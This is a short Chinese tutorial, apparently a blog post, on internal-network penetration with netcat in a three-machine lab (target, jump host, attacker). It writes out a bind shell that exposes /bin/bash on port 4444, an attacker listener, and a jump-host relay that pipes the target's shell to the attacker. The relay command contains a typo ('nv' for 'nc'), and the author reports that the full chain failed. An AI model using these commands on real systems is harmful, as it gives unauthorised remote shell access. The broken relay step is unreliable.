内网渗透----netcat工具使用

一、环境准备

1.1 设备准备

这把我们直接点，使用nc进行端口转发，我们需要三台设备

• 靶机，ip: 192.168.248.144
• 跳板机，ip:192.168.248.142
• 攻击机，ip:192.168.248.201

1.2 软件准备

网上一大把，或者直接用三台kali就好了，自带nc

二、使用方法

靶机上执行

nc -lvp 4444 -e /bin/bash

将自己的bash转发到自己的4444端口，等待别人来链接

---

攻击机上执行

nc -lvp 8888

监听8888端口，等待跳板机来连接

---

跳板机上执行

nc -v 192.168.248.201 8888 -e "nv -v 192.168.248.144 4444"

获取靶机的bash，然后转发给攻击机的8888端口

---

讲真的，这个理论应该没有一点问题，但是，我实验的过程中失败了，将每个步骤拆开来都能成功，但是，放在一起在跳板机连接攻击机的时候必定失败！！欢迎留言告知！！